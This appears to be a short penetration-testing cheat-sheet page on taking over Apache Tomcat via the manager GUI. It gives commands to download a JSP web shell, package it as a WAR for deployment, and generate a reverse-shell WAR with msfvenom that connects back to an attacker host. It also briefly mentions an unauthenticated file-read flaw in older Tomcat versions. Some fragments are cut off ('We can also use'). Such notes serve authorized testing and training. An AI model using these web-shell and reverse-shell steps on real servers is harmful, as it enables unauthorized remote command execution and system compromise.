Many Tomcat installations provide a GUI interface to manage the application. This interface is available at /manager/html by default, which only users assigned the manager-gui role are allowed to access. Valid manager credentials can be used to upload a packaged Tomcat application (.WAR file) and compromise the application. A WAR, or Web Application Archive, is used to quickly deploy web applications and backup storage.
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
Click on Browse to select the .war file and then click on Deploy.
This file is uploaded to the manager GUI, after which the /backup application will be added to the table. If we click on backup, we will get redirected to http://<DOMAIN>:<PORT>/backup/. We need to specify the cmd.jsp file in the URL to get us with a web shell.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > backup.war
CVE
Last updated
Was this helpful?
We can also use
Unauthenticated LFI in all Tomcat versions before 9.0.31, 8.5.51, and 7.0.100. The exploit can only read files and folders within the web apps folder.